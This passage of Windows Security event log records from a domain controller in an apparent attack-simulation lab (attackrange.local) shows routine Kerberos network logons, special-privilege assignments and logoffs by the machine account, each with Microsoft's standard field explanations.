	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8EB7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63959

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248564
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8EB7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248563
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8E56

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248562
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8E56
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63958

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248561
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8E56

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248560
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8DF0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248559
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8DF0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63957

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248558
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8DF0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248557
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8D8F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248556
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8D8F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63956

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248555
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8D8F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248578
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB986C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248577
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB986C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63963

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248576
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB986C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248575
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB97F7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248574
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB97F7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63962

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248573
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB97F7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248572
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB9785

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248571
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB9785
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63961

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248570
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB9785

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248569
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB9714

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248568
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB9714
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63960

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248567
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB9714

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248596
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB1B0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248595
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBB1B0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63969

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248594
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB1B0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248593
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB141

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248592
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBB141
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63968

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
